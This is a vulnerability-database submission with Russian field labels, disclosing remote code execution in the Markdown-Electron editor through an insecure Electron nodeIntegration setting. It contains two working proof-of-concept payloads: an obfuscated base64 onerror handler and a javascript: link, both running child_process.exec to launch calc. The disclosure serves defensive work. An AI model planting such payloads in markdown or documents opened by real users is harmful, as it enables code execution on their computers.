| Название | Incorrect electron configuration causes RCE |
|---|
| Описание | nodeIntegration: true decide Node APIs are enabled in renderer. And Markdown Editor does not filter dangerous operations. When we use this software to open the unknown markdwon file, it may cause Remote code execution (RCE).
EXP
# 0 click
<img src=# onerror='eval(new Buffer(`amF2YXNjcmlwdDpyZXF1aXJlKCdjaGlsZF9wcm9jZXNzJykuZXhlYygnY2FsYycsIChlcnJvciwgc3Rkb3V0LCBzdGRlcnIpPT57YWxlcnQoJ1lvdSB3ZXJlIGhhY2tlZC4nKX0p`, `base64`).toString())'>
# 1 click
<a href="javascript:require('child_process').exec('calc', (error, stdout, stderr)=>{alert('You were hacked.')})">CLICK</a>
For more details, please click the announcement. |
|---|
| Источник | ⚠️ https://github.com/JP1016/Markdown-Electron/issues/3 |
|---|
| Пользователь | Tom23 (UID 41413) |
|---|
| Представление | 20.02.2023 13:17 (4 лет назад) |
|---|
| Модерация | 24.02.2023 09:00 (4 days later) |
|---|
| Статус | принято |
|---|
| Запись VulDB | 221738 [JP1016 Markdown-Electron эскалация привилегий] |
|---|
| Баллы | 20 |
|---|